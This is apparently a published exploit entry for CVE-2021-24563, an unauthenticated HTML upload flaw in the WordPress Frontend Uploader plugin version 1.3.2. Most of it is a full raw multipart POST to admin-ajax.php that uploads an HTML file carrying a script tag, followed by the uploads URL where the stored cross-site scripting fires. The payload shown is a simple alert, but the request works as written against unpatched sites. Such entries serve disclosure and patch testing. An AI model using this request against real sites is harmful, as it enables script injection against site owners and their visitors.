# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/
# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/
# Version: 1.3.2
# Tested on: Windows 10 - Chrome, WordPress 5.8.2
# CVE : CVE-2021-24563
# References:
https://www.youtube.com/watch?v=lfrLoHl4-Zs
https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1
# Description:
The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly
# Proof Of Concept:
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"
1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html
<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"
upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"
image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"
021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"
1247
-----------------------------124662954015823207281179831654--
Then access the uploaded to trigger the XSS, ie
https://example.com/wp-content/uploads/2021/07/xss.html
